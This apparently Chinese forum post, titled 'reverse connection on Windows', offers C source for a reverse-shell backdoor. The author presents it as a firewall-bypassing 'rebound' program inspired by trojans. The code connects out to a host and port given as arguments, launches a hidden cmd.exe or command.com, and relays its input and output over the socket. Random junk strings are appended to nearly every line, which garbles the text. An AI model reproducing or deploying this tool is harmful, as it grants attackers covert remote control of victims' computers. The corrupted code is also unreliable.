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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z-T{~{q  
bPbb\|u0d  
/* ============================== '{b1!nC;  
Rebound port in Windows NT s60 TxB  
By wind,2006/7 L{fFC%|l2L  
===============================*/ q_[G1&MC  
#include I5ZqBB  
#include O XP\R  
>3.X?  
#pragma comment(lib,"wsock32.lib") tJ0NPI56yP  
r 2:2,5_  
void OutputShell(); +^|iZbZKx  
SOCKET sClient;  aSutM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r'7LR  
S<wj*"|.s  
void main(int argc,char **argv) PoSpkJH  
{ !|Q5Zi;aX7  
WSADATA stWsaData; >QkP7Kb  
int nRet; 8V/L:h#7  
SOCKADDR_IN stSaiClient,stSaiServer; ci9R.U)  
L=; -x9  
if(argc != 3) yd_ (?V&;_  
{ vX|UgK?2^  
printf("Useage:\n\rRebound DestIP DestPort\n"); F7*wQ{~  
return; }T_Te?<&  
} p9eRZVy/  
c3TKl/  
WSAStartup(MAKEWORD(2,2),&stWsaData); G&f8n  
4Y\wnwI  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k@mVxnC  
4=8QZf0\  
stSaiClient.sin_family = AF_INET; kFLB> j97  
stSaiClient.sin_port = htons(0); 9ooY?J  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IH *s8tPc  
@R|'X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KzU lTl0  
{ muON> ^MbC  
printf("Bind Socket Failed!\n"); GEUg]nw  
return; %/%UX{8R  
} R9+jW'[K  
V9NTs8LKc  
stSaiServer.sin_family = AF_INET; @~td`Z?1 y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *Mc7f?H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w8Sv*K  
c]k*}W3T  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _ QOZ sEe  
{ {-/^QX]6  
printf("Connect Error!");  AnBJ(h  
return; NQHz<3S[  
} 8jlLUG:g  
OutputShell(); yY).mxRN  
} 4'1m4Ugg  
/b#l^x:j  
void OutputShell()  >w6taX  
{ >o,^b\  
char szBuff[1024]; s"KJiQKGM  
SECURITY_ATTRIBUTES stSecurityAttributes; ),:c+~@@kT  
OSVERSIONINFO stOsversionInfo; ~ Heb1tl ;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rZXrT}Xh{W  
STARTUPINFO stStartupInfo; 2S[-$9  
char *szShell; 5Qwh(C^H  
PROCESS_INFORMATION stProcessInformation; y] oaO+  
unsigned long lBytesRead; Io`P,l:  
PUJ2`iP1^3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hB;VCg8  
G"5D< ]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Lo.rvt  
stSecurityAttributes.lpSecurityDescriptor = 0; am1[9g8L  
stSecurityAttributes.bInheritHandle = TRUE; jEdtJ EPa  
0 fXLcal  
,8'>R@o  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n{0Ld - zH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qFX~[h8i+  
=<@2#E)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ! |waK~jK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?4H#G)F  
stStartupInfo.wShowWindow = SW_HIDE; Cs3^9m6;d  
stStartupInfo.hStdInput = hReadPipe; 8LkP)]4^sO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IA zZ1#/3  
+gd2|`#  
GetVersionEx(&stOsversionInfo); NH<gU_s8{9  
N;oQ^B'  
switch(stOsversionInfo.dwPlatformId) xiF7}]d+  
{ AI vXb\wL  
case 1: 1+;C`bnA  
szShell = "command.com"; Xl7aGlH  
break; ^jB8Q  
default: RrZM&lXY  
szShell = "cmd.exe"; }kHdK vZ  
break; ZIR0PQh\  
} P;[OWSR[d  
gU^$Sx7'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -Y#sI3o*R8  
8M,9kXq{L  
send(sClient,szMsg,77,0); _ZB\L^j)  
while(1) Gl %3XdU  
{ TcTM]ixr  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9h90huyKF  
if(lBytesRead) #m{{a]zm^  
{ B5V_e!*5F*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WF&[HKOy/  
send(sClient,szBuff,lBytesRead,0); ^efb 5  
} O%~jop7# 6  
else _mvxsG  
{ v44}%$  
lBytesRead=recv(sClient,szBuff,1024,0); r[(xj n  
if(lBytesRead<=0) break; 5vAf7\*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @oF$LMD  
} ]r! >{  
} j:T/iH!YF  
[]R? ViG  
return; lE8&..~l$+  
}
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